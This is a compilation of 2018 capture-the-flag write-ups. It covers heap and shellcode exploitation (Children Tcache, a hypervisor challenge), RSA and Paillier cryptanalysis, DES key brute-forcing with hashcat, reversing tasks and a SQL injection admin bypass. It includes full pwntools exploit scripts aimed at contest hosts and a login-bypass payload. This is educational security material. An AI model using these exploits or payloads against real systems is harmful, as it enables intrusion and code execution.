suggesting that the only files you can open are the files listed above, which include the flag, so the shellcode should just be `open("flag", 0)`, `read(fd, buf, 100)`, and `write(1, buf, 100)`. The exp: ```pythonfrom pwn import * g_local=Falsecontext.log_level='debug'e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")store_idx = 0 if g_local: sh = process(['./hypervisor.elf','kernel.bin','ld.so.2','./user.elf'])#env={'LD_PRELOAD':'./libc.so.6'} #sh = process(['ld.so.2', './user.elf']) ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 gdb.attach(sh)else: ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 sh = remote("35.200.23.198", 31733) #ONE_GADGET_OFF = 0x4557a def get_qword(): high = int(sh.recvuntil("\n")) & 0xffffffff low = int(sh.recvuntil("\n")) & 0xffffffff return (high << 0x20) + low def write(): return "\x2c"def store(): return "\x3a"def fetch(): return "\x3b"def push(imm): return str(imm) + "\x01"def writed(): return "\x2e"def rot(): return "\x5c"def add(): return "\x2b" asmcode = "push rbx\n"asmcode += "mov rax,0x67616c66\n" #flagasmcode += "push rax\n"asmcode += "mov rdi,rsp\n"asmcode += "xor rsi,rsi\n"asmcode += "mov rax,2\n"asmcode += "syscall\n" #openasmcode += "mov rdi,rax\n"asmcode += "call next\n"asmcode += "next: pop rbx\n"asmcode += "add rbx,0x300\n"asmcode += "mov rsi,rbx\n"asmcode += "mov rdx,100\n"asmcode += "xor rax,rax\n"asmcode += "syscall\n" #readasmcode += "mov rsi,rbx\n"asmcode += "mov rdi,1\n"asmcode += "mov rdx,100\n"asmcode += "mov rax,1\n"asmcode += "syscall\n" #writeasmcode += "pop rbx\n"asmcode += "pop rbx\n"asmcode += "ret\n" print len(asmcode)shellcode = asm(asmcode, arch='amd64') codelen = len(shellcode) sh.recvuntil(" choice but keep going down.\n") + "\x90" vmcode = "" for i in xrange(0,codelen/4): vmcode += push(u32(shellcode[i*4:i*4+4])) vmcode += push(i) vmcode += store() vmcode += str(((0x202028 - 0x2020A4) / 4) & 0xffffffff)vmcode += rot()#vmcode += writed() * (0x98/8) * 2idx = codelen/4vmcode += push(idx)vmcode += store() #store high dword of write vmcode += push(0x2034A8 - 0x796)vmcode += add() vmcode += push(idx)vmcode += fetch() vmcode += write() sh.send(vmcode + "\n") # for x in xrange(0,(0x98/8)):# print hex(get_qword()) #0x17e50 sh.interactive()``` ## children tcache My approach is not so elegant, which might not be the intended solution, so please don't criticize too harshly if you don't like it. :\) The vulnerability is not so obvious at the first glance, but as you think about it again, it is not hard either. ```c//in the add functiondest = (char *)malloc(size);if ( !dest ) exit(-1);printf("Data:");readstr(s, size);strcpy(dest, s);// null byte off by one, because '\0' will be added after string``` We can just use null byte poisoning. But when a chunk is freed, `memset((void *)pbufs[v1], 0xDA, sizes[v1]);` will be executed first, which will overwrite all of the data in the chunk. For [null byte poisoning](https://github.com/shellphish/how2heap/blob/master/glibc_2.26/poison_null_byte.c), we need to fake a `prev_size` to pass a check, but unfortunately we cannot do so due to such `memset` before `free`. What I was thinking about is to construct a `0xda11` unsorted bin, and construct a `0xda00` as the `prev_size` by writing `0x00`s using null byte off by one. Then after overflowing, the size of unsorted bin becomes `0xda00`, which matches the `prev_size` exactly. There are few points to note in this exploitation method: firstly, if there is a unsorted bin with size `0x4b0`, `malloc(0x490)` will also get you the whole chunk instead of seperating it into 2 chunks, because `0x10` chunk simply does not exist, which can enable us to construct `0xda00` at the end of the chunk; secondly, because the TCP package has the maximum size, do not send data with size larger than `0x500`, or else the `read` function will return even though the data are not read completely. After obtaining the overlaped chunk using null byte poisoning, we can leak the libc address easily as usual, and rewrite the `fd` of a tcache chunk to enable the arbitrary chunk allocation. Different from fastbin, we don't need to fake the header, which is much easier. Also, the max index is 9, so the index is quite not enough. The reason is that we need to allocate about 7 times to get a `0xda00` chunk, given the maximum `malloc` size allowance being `0x2000`, but fortunately, we can exploit it with such maximum index exactly. The exp: ```pythonfrom pwn import * g_local=Falsecontext.log_level='debug'e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")UNSORTED_OFF = 0x3ebca0if g_local: sh = process('./children_tcache')#env={'LD_PRELOAD':'./libc.so.6'} gdb.attach(sh)else: sh = remote("54.178.132.125", 8763) #ONE_GADGET_OFF = 0x4557a def add(size, data): sh.send("1\x00") sh.recvuntil("Size:") sh.send(str(size) + "\x00") sh.recvuntil("Data:") sh.send(data) sh.recvuntil("Your choice: ") def dele(idx): sh.send("3\x00") sh.recvuntil("Index:") sh.send(str(idx) + "\x00") sh.recvuntil("Your choice: ") def show(idx): sh.send("2\x00") sh.recvuntil("Index:") sh.send(str(idx) + "\x00") ret = sh.recvuntil("\n") sh.recvuntil("Your choice: ") return ret[:len(ret)-1] for i in xrange(0,6): add(0x2000, "ab") #0-5add(0x2000-0x250, "ab") add(0x1010, "c") #7for i in xrange(0,7): dele(i)# hex(0xe070-0xda10) = 0x660 add(0x400, "a") #0#0xda11 unsorted for i in xrange(1,7): add(0x2000, "bs") #1-6#0x19b1 unsorted add(0x14F0, "bn") #8#0x4b1 unsortedfor i in xrange(0,6): add(0x497 - i, "b".ljust(0x497 - i, "n")) #9 #will still get the 0x4b1 size chunk, because there is no 0x10 chunk dele(9)add(0x490, "b".ljust(0x490, "n")) #9#0xda00 prevsize being constructed dele(8) #delete 8 first to prevent top chunk consolidatedele(7)add(0x2000, "c1") #7add(0x2000, "pad") #8dele(9) for i in xrange(1,7): dele(i)#0xda11 unsorted, and x/4gx 0x8b0+0xda00 is# 0x000000000000da00 0xdadadadadadadada# 0x000000000000da10 0x0000000000000510 dele(0) #aadd(0x408, "a" * 0x408) #0, trigger vuln!#0xda00 unsorted # 1-6 9 empty add(0x500, "b1") #1add(0x1800, "b2") #2add(0x200, "b3") #3 dele(3) #tcachedele(1)dele(7)#all: 0x561abcfa3ae0 -> 0x7fea7da40ca0 (main_arena+96) -> 0x561abcf9f8b0 <- 0x561abcfa3ae0#overlap unsorted bin# 1 3-7 9 for i in xrange(0,5): add(0x2000, "/bin/sh\x00")add(0x1A70, "remove all b from bins, now there is only bc chunk") add(0x500, "should leak") #9libc_addr = u64(show(2) + "\x00\x00") - UNSORTED_OFFprint hex(libc_addr)dele(9)dele(8) #free padding since we've already leaked, this frees some indexadd(0x1D10, "reach tcache") #8add(0x10, p64(libc_addr + e.symbols["__free_hook"]))dele(8)add(0x200, "hopefully works")dele(4) #index reallllllly not sufficient!!!!!add(0x200, p64(libc_addr + 0x4f322)) #0x40 one_gadget sh.send("3\x00")sh.recvuntil("Index:")sh.send(str(5) + "\x00") sh.interactive()```
The text on the page says this: > Flag is hitcon{ENCRYPTION_KEY}, and here is a hint for you :P> > P.S. If you fail in submitting the flag and want to argue with author, read the source first! That note in itself is a huge hint, but it also links to a file named hint.py with these contents: `assert ENCRYPTION_KEY.islower()` If you look around the page, you'll notice the links are all in a kinda weird format. For example: `An Innovative Phishing Style` The bytes of the `s` query parameter don't have any obvious pattern, and based on the text at the top of the page, we're most likely looking at ciphertext. If you look for patterns in the ciphertext, you'll find that all of the URLs have lengths divisible by 8-bytes, that the lengths correlate to the lengths of the link texts, and that many links tend to have 8-byte blocks in common: `Collecting Shells by the Sea of NAS Vulnerabilities` `Siaberrys Command Injection Vulnerability` Based on all of these hints, we can infer that a 64-bit block cipher is used to encode data into each link, and we can deduce some plaintext for some of the blocks: ```shd86efe9ad771aa53 f068f8c831c327cf 26782d51e9396e5d 7f91ae7dc27a59f4 9c5910c938f642b5 d9d51086fba2caaf aee2b8b4568118b5 C o l l e c t i n g . S h e l l s . b y . t h e . S e a . o f . N A S . V u l n e r a b i l i t i e sf7076268d41d8054 ab07648d1373cdb2 586c6d1db77c33c8 42aa7c80bae5f78f d9d51086fba2caaf c1ec71ffc2863054 S i a b e r r y s . C o m m a n d . I n j e c t i o n . V u l n e r a b i l i t y``` If we guess that the algorithm used is DES, we can try brute-forcing the encryption key for the the `42aa7c80bae5f78f` block, whose plaintext is "njection". The hints we've been given imply that the key is a lowercase string, so even if we're wrong about the algorithm being DES, the possible keyspace is very small and exhaused quickly, so we may as well try: `hashcat -m 14000 42aa7c80bae5f78f:6e6a656374696f6e -a 3 '?l?l?l?l?l?l?l?l' --force` And we get a result pretty quickly: "ldgonaro" Note: You could brute-force any block, but it's a good idea to avoid blocks with symbols as we don't know how they might be encoded at this point. You can now use this key to decrypt URLs and see the full contents. But if you try to submit `hitcon{ldgonaro}`, you won't get any points despite submitting a working encryption key. The least-significant bit in each byte of a DES key is ignored during encryption/decryption. So there are actually 256 equivalent keys. If you exclude the keys that aren't made up of letters only, there are 128 possible solutions. That's a small enough set that you can just submit them all until you get it right, and for this challenge, the accepted flag was `hitcon{megnnaro}`. (You may be able to find the flag without guessing by crafting download links, but that's not necessary for part one of this challenge.)
Intended solution tl;dr variant of Wiener's Attack on RSA: [https://github.com/ashutosh1206/Crypton/tree/master/RSA-encryption/Attack-Wiener-variant](https://github.com/ashutosh1206/Crypton/tree/master/RSA-encryption/Attack-Wiener-variant) Full writeup: [https://masterpessimistaa.wordpress.com/2018/10/11/inctf-2018-crypto-writeups-part-1/](https://masterpessimistaa.wordpress.com/2018/10/11/inctf-2018-crypto-writeups-part-1/)
In `HITCON 2018 - Children Tcache` challenge, there is an `off-by-one` (`poison-null-byte`) vulnerability which leads to `double free` and `overlapping chunks`. Using this, we leak a `libc` address to de-randomize `ASLR`, launch `tcache dup` attack, and then put our `fake chunk` address into the `tcache` using `tcache poisoning` attack. As a result, we can force `malloc` to return our `fake chunk` before `__malloc_hook`, so we can overwrite `__malloc_hook` with `one gadget`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `PIE`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries in presence of `tcache`.
## Mnemonic (Crypto) ### Solution This challenge give us some text:```{ "japanese": [ [ "d3a02b9706507552f0e70709f1d4921275204365b4995feae1d949fb59c663cc", "ふじみ あさひ みのう いっち いがく とない はづき ますく いせえび たれんと おとしもの おどろかす ことし おくりがな ちょうし ちきゅう さんきゃく こんとん せつだん ちしき ぬいくぎ まんなか たんい そっと", "338c161dbdb47c570d5d75d5936e6a32178adde370b6774d40d97a51835d7fec88f859e0a6660891fc7758d451d744d5d3b1a1ebd1123e41d62d5a1550156b1f" ], [ "dfc9708ac4b4e7f67be6b8e33486482cb363e81967a1569c6fd888b088046f7c", "ほんやく ごうきゅう おさめる たこやき ごかん れいぎ やせる ふるい まんなか てんない だんろ さうな きぼう よくぼう しのぐ よけい こんき みうち らくご いわかん いこく あたためる のはら たぶん", "bdadda5bbff97eb4fda0f11c7141bc3ce3de0fef0b2e4c47900858cec639c10187aee4695b1ba462b1dd34b170b62801e68c270b93af62629f4964947a620ed9" ], [ "c0f...", "??? とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる", "e9a..." ], ], "flag": "SECCON{md5(c0f...)}"}``` After some googling, we found that it's [BIP 39 mnemonic code](https://iancoleman.io/bip39/).Enter the second line as BIP 39 mnemonic, and we will get the third line, which is the seed. But, what does the first line means? I read the [BIP 39 spec](https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki), and found that an entropy is used to generate the mnenonic, thus I try to enter the first line as the entropy, and the output are identical to the other lines. Finally, we have to recover the entropy of the last mnemonic codes, it's easy to bruteforce```pythonfrom mnemonic import * l = [<list of japanese mnemonic codes>] lg = Mnemonic("japanese") for i in l: s = i+" とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる" if lg.to_seed(s).hex().startswith('e9a'): print(s) break``` The first word of mnemonic is 「はいれつ」, now we have to tranform mnemonic codes back to entropy.```pythonl = [<list of japanese mnemonic codes>]m = "はいれつ とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる".split(" ")list1=[]for i in m: list1.append(l.index(i))print(list1)```The output list is `[1543, 1333, 1376, 1953, 1173, 777, 570, 1262, 337, 1333, 995, 375, 1706, 616, 1485, 1404, 1495, 1644, 297, 91, 444, 1844, 2030, 24]`Since each number is represeted by 11 bits, so we have to add some padding to trasform back to the original hexstring.```pythons = [1543,1333,1376,1953,1173,777,570,1262,337,1333,995,375,1706,616,1485,1404,1495,1644,297,91,444,1844,2030,24] b = "".join([bin(c)[2:].rjust(11, '0') for c in s]) b = "".join([hex(int(b[i:i+4], 2))[2:] for i in range(0, len(b), 4)])print(b)``` Finally, we get `c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f7018`, And the flag is `SECCON{cda2cb1742d1b6fc21d05c879c263eec}`
# City RSA (worth 300+257 points)Part of the P.W.N. University CTF 2018 (https://uni.hctf.fun/pages/home/) ```I know that frank that a**hole ate the last cookie, but no one believes me. He wrote himself a service to sign messages, I found part of the source. It runs here: nc rsa.uni.hctf.fun 4422 Can you get me the message "YES, I did eat the last cookie" signed by his service? I added a verifier for you using his public key: nc checker.uni.hctf.fun 31337[...]``` The description included a download link for the source of the service, which, judging by the methods signatures, uses Textbook-RSA without any padding and is implemented using the chinese remainder theorem (CRT). The service also has a check which ensures `"594553"` is not part of the hex representation of the message to be signed, so we cannot sign the string directly. We also had access to the python script used for the checker, obviously excluding the flag. Textbook-RSA means the service uses no padding, so for each message `m` the signature `sig(m)` can be calculated as `sig(m) = m^d mod N` where `d` is the private exponent and `N` is the public modulo. The relevant parts of the signing service are:```int main(int argc, const char** argv) { city_rsa_config cfg; /* RSA parameters */ char p_str[1024]; char p_inv_str[1024]; char q_str[1024]; char d_str[1024]; char e_str[1024]; char d_q_str[1024]; char d_p_str[1024]; char input[32]; char input_hex[67]; char result[1024]; int i; // [...] config is loaded here printf("Enter message:"); fflush(stdout); fgets(input, sizeof(input_hex) / 2, stdin); input_hex[0] = '0'; input_hex[1] = 'x'; for(i = 0; i <= strlen(input); i++){ sprintf(input_hex + 2 + i*2, "%02X", input[i]); } puts(input_hex); if (strstr(input_hex, "594553") != NULL) { // Security measure, don't agree to anything return 1; } /* Sign via RSA */ city_rsa_init(&cfg, p_str, q_str, p_inv_str, d_str, e_str, d_p_str, d_q_str); //city_print_config(&cfg;; city_rsa_sign(&cfg, result, input_hex); printf("The signature of your message is: 0x%s\n", result); return 0;}``` ## Blinding attackSince no padding is used, for three messages `x, y, z` where `x*y == z` it holds that `sig(x) * sig(y) == sig(z)` since `x^d * y^d == (x*y)^d == z^d`. Although we cannot sign the string directly, we can simply find some factors of the string and let the service sign these separately. However, `fgets` will convert all non-ASCII characters to `0xff`, so the input cannot contain any bytes between `0x80` and `0xfe`. It is possible to find such factors and other teams have done this (there is also a writeup available explaining this approach), but we did not pursue this idea further. ## Buffer OverflowThe alternative solution, which we came across by accident, is caused by a buffer overflow when reading the string with `fgets`. We tried to get the service to sign `0x0`, but to do this we had to input the `0x00`-byte 33 times, otherwise the service would continue reading input. When we did this, we got the following signature back:`0x32bc2267af0d1568cb1fef1ee27b2f6bf6beda7187ca4da1aab93d5b799dd210d055c030119ffc657008084ba7dd45c1cbb6134edb84a3efe977cb3b5993484b090ae53fac40cd13522b2d817d04ccf7ebd6f631aa2de1530b53e47b1c0400b481d13a1b28cc70c745d08ba15b491c8551bc857de56834e728f652f08af0dff744ea4efe7da17fd0bef19ab009195acfd2c32234fb5b3433a7422cc32c0298349fad24fba3dd4925c05047589ba82d873e6abecb2c8495d7899003773c21daf82ff53bcdad5b3bc895e6b2edfbf604f4de6df2f07a4f474cb655e2477de38f6d3209a1b69aaae71f7fb5a904ed6bb92a3b55fc62c45cde9bb5925ae41c92b942`This was unexpected, since `0^d (mod N) == 0` should always hold, even when using the CRT. What happened is that we overwrote `d_p_str`, since the `fgets` call reads 33 bytes including the terminating `0x00`, which in turn leads to `d_p_str` being read as `0x00`. ### Chinese Remainder TheoremAs mentioned before, the service uses the chinese remainder theorem to make the signature calculation more efficient. Instead of calculating `sig(m) = m^d mod N`, it does the following instead (according to Wikipedia): Calculate `d_p = d mod (p-1)`, `d_q = d mod (q-1)` and `q_inv = q^(-1) mod p` s.t. `q_inv * q (mod p) == 1`. The first two are trivial, the latter one uses the extended euclidian algorithm. Then the signature `m` can be calculated with `m_1 = m^(d_p) mod p` and `m_2 = m^(d_q) mod q` and finally `sig(m) = (q_inv * (m_1 - m_2) mod p) * q + m_2`. ### SolutionNote that the `d_p` and `d_q` are switched in the implementation and Wikipedia, so while we overwrote `d_p_str`, what really happened is that we set `d_q = 0` and our `m = 0`. Thus:```m_1 = m^(d_p) = 0^(d_p) = 0m_2 = m^(d_q) = 0^0 = 1s = (q_inv * (m_1 - m_2) mod p) * q + m_2 = (q_inv * (0 - 1) mod p) * q + 1```Since `q_inv * q == 1 (mod p)`, we know that `((-1 * q_inv) mod p) * q == -1 (mod p)` and, with the final `1` added, this is `s == 0 (mod p)`. What does this mean? Well, since `x mod p == 0` means that `x` is a multiple of `p` s.t. `x = k*p` for some natural `k`, we can find `p` by calculating `gcd(s,N) == p`. This allows us to recover `q = N/p` and thus we have solved the RSA factoring problem for this `N == p*q`, giving us access to the private key and allowing us to sign the message ourselves. When sending the signature to the checker we obtain the flag `flag{https://www.youtube.com/watch?v=MpMBETNC-44#C0ngr4tz}`. As mentioned before we actually discovered this overflow by accident (and even afterwards overlooked it), so at this point I would like to thank the organizers for pointing out that we actually triggered one of the intended solutions whereas we assumed there was a bug in their implementation (which was not released for the challenge) when signing 0 :-) (Although this technically is a bug, but an intentional one). The final solution code is:```from math import gcd# a is the signature obtained from the servicea = 0x32bc2267af0d1568cb1fef1ee27b2f6bf6beda7187ca4da1aab93d5b799dd210d055c030119ffc657008084ba7dd45c1cbb6134edb84a3efe977cb3b5993484b090ae53fac40cd13522b2d817d04ccf7ebd6f631aa2de1530b53e47b1c0400b481d13a1b28cc70c745d08ba15b491c8551bc857de56834e728f652f08af0dff744ea4efe7da17fd0bef19ab009195acfd2c32234fb5b3433a7422cc32c0298349fad24fba3dd4925c05047589ba82d873e6abecb2c8495d7899003773c21daf82ff53bcdad5b3bc895e6b2edfbf604f4de6df2f07a4f474cb655e2477de38f6d3209a1b69aaae71f7fb5a904ed6bb92a3b55fc62c45cde9bb5925ae41c92b942# N and e are the publicly known modulo and public exponent from the checker script we had access toN = 0x98ac865ef6a31313e50fb37853ce96804cb2d864e2a4d14bf7cca85a444a40b453de7c3ae8416e8976cd1cac7f548a43fe8c2eb3d4cfcd3808cf9458c0c87bf4c037d515d22d1299b72e79fcd4a1d1531789cb3013031fb0e28fdfe73f090027b3b3428cacef6dbf7823d5da8d3158101e0c07e707224d451fcbb3114ab85a925bcb7faf9b317bbbddba81285ab93f0ee5f968b258f4675e9d893ec7f0e8379b67527d78fe920ab201cb3a6459d4f3902754b36e3264db7727c6d32e014593c39991f54c7b034d69b986616a39454c85d9e032afa853a6e12fea06472ed3573707da3df9ca7ce8d2c3b820e745da6e3cc523789f858d98645ea042bb54b463d3e = 0x10001 p = gcd(a,N)q = N // p # verify that we have the correct p,qassert(p*q == N) # the message we are supposed to sign as a hex numbertarget = 0x5945532C2049206469642065617420746865206C61737420636F6F6B6965 # Source: https://gist.github.com/tylerl/1239116def eea(a,b): if b==0:return (1,0) (q,r) = (a//b,a%b) (s,t) = eea(b,r) return (t, s-(q*t) ) def find_inverse(x,y): inv = eea(x,y)[0] if inv < 1: inv += y #we only want positive values return inv # find the private exponentd = find_inverse(e, (p-1)*(q-1)) # calculate the signaturesig = pow(target, d, p*q) print("Solution: %x" % sig)# verify that the signature, when verified, matches the original messageprint("Verified: %d" % int(pow(sig, e, p*q) == target)) # simulate the behavior of the CRT as it is being executed on the server# the following implements the scheme as described on Wikipedia# since we set d_q = 0 below to obtain the signature, but we overwrote d_p_str in the service,# we know that d_p and d_q are switched in the Wikipedia explanation and in the service implementationd_p = d % (p-1)d_q = d % (q-1)q_inv = find_inverse(q, p) m = 0 # the message we sent the service to signd_q = 0m_1 = pow(m, d_p, p)m_2 = pow(m, d_q, q)s = (q_inv * (m_1 - m_2) % p) * q + m_2 print("Signature from service for m == 0: %x" % s)print("This matches the original signature from the service: %d" % int(s == a))```
- [murmur](#murmur)- [Runme](#runme)- [Special Instructions](#special-instructions)- [Special Device File](#special-device-file)- [block](#block)- [shooter](#shooter)- [tctkToy](#tctktoy) # murmur Thrilling to see the OSASK, I have a copy of 30日でできる! OS自作入門, which teach you to implement a simple OS in 30 days. # Runme Compare the result of GetCommandLineA() to `C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}` The flag is `SECCON{Runn1n6_P47h}` # Special Instructions The architecture of the elf is `moxie`, can be known by `strings`. The binary would print : ```shThis program uses special instructions. SETRSEED: (Opcode:0x16) RegA -> SEED GETRAND: (Opcode:0x17) xorshift32(SEED) -> SEED SEED -> RegA``` Indeed, we can find some weird instructions in binary dump: ```0000154a <set_random_seed>: 154a: 16 20 bad 154c: 04 00 ret 0000154e <get_random_value>: 154e: 17 20 bad 1550: 04 00 ret 00001552 <decode>: 1552: 06 18 push $sp, $r6 1554: 06 19 push $sp, $r7 1556: 06 1a push $sp, $r8 1558: 06 1b push $sp, $r9 155a: 06 1c push $sp, $r10 155c: 06 1d push $sp, $r11``` Here, the implement of xorshift32 is differ from [wiki](https://en.wikipedia.org/wiki/Xorshift) ( I'll show you the reason in the next section ) ```cuint32_t xorshift32(uint32_t state[static 1]){ /* Algorithm "xor" from p. 4 of Marsaglia, "Xorshift RNGs" */ uint32_t x = state[0]; x ^= x << 13; x ^= x >> 17; x ^= x << 15; //the original version is << 5 state[0] = x; return x;}``` Xor `flag`, `randval`, `get_random_value` to get the flag. The flag is `SECCON{MakeSpecialInstructions}` # Special Device File This binary should be more easy to understand, because all you need to do is dragging it into IDA. The key point is how `/dev/xorshift64` work, there are serveral implementation online, it's time comsuming to test everyone. But, the SECCON is hold by japanese, where a japanese engineer would go for searching the information about things they don't understand ? Wiki, but in japanese...... ```cx = x ^ (x << 13);x = x ^ (x >> 7);return x = x ^ (x << 17);``` Again, xor `flag`, `randval`, `get_random_value` to get the flag. The flag is `SECCON{UseTheSpecialDeviceFile}` # block My first time to reverse a unity game, it seems not so hard. Decompress the `.apk`, the `C#` script of game is located at `assets/bin/Data/Managed/Assembly-CSharp.dll`. There are only two methods ,`Start` and `Update`, obviously, the `Update` keep rotate the flag behind, let's modify them to : ```csharp#the axis of object seems not parellel or vertical to camera public void Start(){ base.transform.position = new Vector3(0f, -4.5f, 2f); base.transform.Rotate(new Vector3(0f, -90f, 0f));} public void Update(){}``` Pack it back and launch it. ![flag](./block.png) The flag is `SECCON{4R3_Y0U_CH34+3R?}` # shooter Again,a unity game. Basically, it's arcade game, and the players would be ranked **online** with other players. This one was builded by IL2CPP. How I found that it was builded by IL2CPP (it's also my first time to reverse such thing): First, there is no `Assembly-CSharp.dll`. It may implies the possibility of 2 things (or more) : - The `dll` was some how being packed or obfuscated- The game was build in a different way Second, the layout of diretory seems to be different with last challenge, block. Then I found that there are lots of keywords in `assets/bin/Data/Managed/Metadata/global-metadata.dat` After google it, I could dump the pseudo code from `global-metadata.dat` and `libil2cpp.so` ( main logic ) by [Il2CppDumper](https://github.com/Perfare/Il2CppDumper). But there is nothing valuable in the game logic...... Observing strings, I found there are some weird strings : ```shooter.pwn.seccon.jpstaging.shooter.pwn.seccon.jpdevelop.shooter.pwn.seccon.jp/admin/api/v1/score``` Now, I can get the highest score by sending: ```POST /api/v1/scores HTTP/1.1Expect: 100-continueX-Unity-Version: 2018.2.11f1Content-Type: application/x-www-form-urlencodedContent-Length: 35User-Agent: Dalvik/2.1.0 (Linux; U; Android 8.1.0; Android SDK built for x86 Build/OSM1.180201.007)Host: shooter.pwn.seccon.jpConnection: Keep-AliveAccept-Encoding: gzip score=2147483647&name=zzzzzzzzzzzzzzzzzzzzzzzz``` It's useless, server won't send flag back. And I don't think that the command injection would work. Then, I found that http://staging.shooter.pwn.seccon.jp/admin will redirect you to http://staging.shooter.pwn.seccon.jp/admin/sessions/new ![admin](./admin.png) SQL injection works.... We can login as admin by sending `' ))) UNION (SElECT 1)#` as password. What's more, we can do the time base SQL injection. This part was done by [kaibro](https://github.com/w181496), my teamate. 1. leak first db : `shooter_staging` 1. leak first table in it : `ar_internal_metadata` 1. leak second table in it : `flags` 1. columns in `flags`: - `id` - `value` - `created_at` - `updated_a t` The flag is `SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}`# tctkToy I overdozed, only left an hour to solve this lol By a quick glance, I guess the binary would execute an tcl script, and the goal is to build a window similar to the picture ?
*This is a short summary of the full write-up at<https://smyghalloumi.se/posts/2018-11-01-seccon2018-qr.html>.* After analyzing the problem one can see that we need to provide theweb service with a single image that produces at least two valid QRcodes with different results under the resizing sequence500→250→100→50. Since the service is using the `NEAREST` operation, it is enough tofind the pixels from the original image that remain after resizing. A simple test produces the pixels with indices `(10i + 7, 10j +7)`. So in order to create our image we need to overlay every pixelfrom one image into the above indices of the second image: ```im1[7::10, 7::10] = im2``` Uploading the resulting image to the service gives us back the flag.
# Lost modulus (crypto, 230p, 42 solved) In the task we can connect to a service running [python code](paillier_hitcon.py).We can easily deduce that it's a textbook implementation of Paillier cryptosystem.We get encrypted flag from the server and then we can perform two operations: - encryption of selected payload- decryption of selected payload, but only least significant byte is returned We can perform 2048 operations in total.The twist here is that we don't know the public key. ## Recover public key modulus This is the key part here.Once we have the modulus, we can easily recover the flag using homomorphic properties of the encryption. In order to recover the modulus we exploit the encryption-decryption oracle.If we encrypt a number bigger than `n` and then decrypt it back, the number will be cut by `mod n`.This way we know the number was too big, and `n` is smaller.We can use this property to recover all bits of the modulus, but it would cost us exactly 2048 operations, leaving no requests for flag recovery.But we know the whole least significant byte, so we recover all upper bits of `n` bit by bit, and then recover last byte of `n` at once, leaving us with 14 operations to work on the flag. The recovery operations is quite simple.First we recover the highest set bit in modulus.We encrypt-decrypt `2**1024` and check if the last decrypted byte is still `00`, if not then we send `2**1023` and check again, and so on: ```python for bit in range(bitsize - 1, -1, -1): payload = 2 ** bit e = enc(long_to_bytes(payload)).decode("hex") result = dec(e) if result == '00': start_bit = bit break``` Once we know the highest set bit we can proceed to recover rest of the bits.We set next highest bit to 1 and perform encrypt-decrypt operation.If last byte is still `00` then our value was smaller than `n`, and therefore this bit in modulus has to be set.If last byte is not `00` then the number was bigger than `n` already, and therefore this bit in modulus has to be `0`, and we flip it back.We move downwards to the next bits recovering their real value: ```python payload = 2 ** start_bit # 100000... for bit in range(start_bit - 1, 7, -1): payload ^= 2 ** bit print(bin(payload)) e = enc(long_to_bytes(payload)).decode("hex") result = dec(e) if result != '00': # didn't work, set the bit back to 0 payload ^= 2 ** bit``` After this we have `payload` which is equal to `n` up to the last byte.Recovering the last byte requires one more encrypt-decrypt operation.We send the `payload` data with last byte set to `0xff`, which is most likely too big for `n` and result will be cut by `mod n`.Now we simply loop over all possible values for the last byte and check for which one `payload % potential_n` gives the same remainder: ```python too_large = payload ^ 0xff e = enc(long_to_bytes(too_large)).decode("hex") result = int(dec(e), 16) for i in range(256): potential_n = payload ^ i mod = too_large % potential_n if mod == result: return potential_n``` This way we managed to recover entire modulus, and we still have 14 operations to spare! ## Recover the flag We can easily recover the flag byte-by-byte using homomorphic properties of Paillier cryptosystem.We can get back the last byte simply by sending encrypted flag for decryption.Now we want to `shift` the decrypted flag back one byte, so if our ciphertext decrypts to `alamakota` we want to somehow change the ciphertext so it will decrypt to `alamakot`.It can be done if we first subtract the value of the last byte making the plaintext `alamakot\x00` and then if we divide the value by 256 making it `alamakot`. Paillier cryptosystem allows for those operations via: - `paillier_decrypt(pow(ct, multiplier, n**2)) = pt*multiplier % n`- `paillier_decrypt(pow(ct, modinv(divisor,n), n**2)) = pt*modinv(divisor,n) % n`- `paillier_decrypt(ct*encrypt(addend, g, n, n**2)) = (pt + addend) % n`- `paillier_decrypt(ct*encrypt(n-subtract, g, n, n**2)) = (pt - subtract) % n` In our case `g = n + 1` so we have all data we need: ```python f = '' divisor = modinv(2 ** 8, n) g = n + 1 for i in range(14): last_byte = dec(long_to_bytes(flag)).decode("hex") f += last_byte print(f[::-1]) sub = paillier_encrypt_simple(n - bytes_to_long(last_byte), g, n) flag = flag * sub % (n * n) flag = pow(flag, divisor, n * n)``` This way we can recover last bytes of the flag.Sadly the flag is longer, so we need to run this a couple of times.Since we want to shift the flag farther forward to recover more characters, we need to strip known characters: ```python divisor = modinv(2 ** 8, n) for last_byte in known_suffix[::-1]: sub = paillier_encrypt_simple(n - bytes_to_long(last_byte), n + 1, n) flag = flag * sub % (n * n) flag = pow(flag, divisor, n * n)``` Which is pretty much the same opration as above.After a couple of runs we recover whole: `hitcon{binary__search__and_least_significant_BYTE_oracle_in_paillier!!}` Entire solver [here](paillier_solver.py)
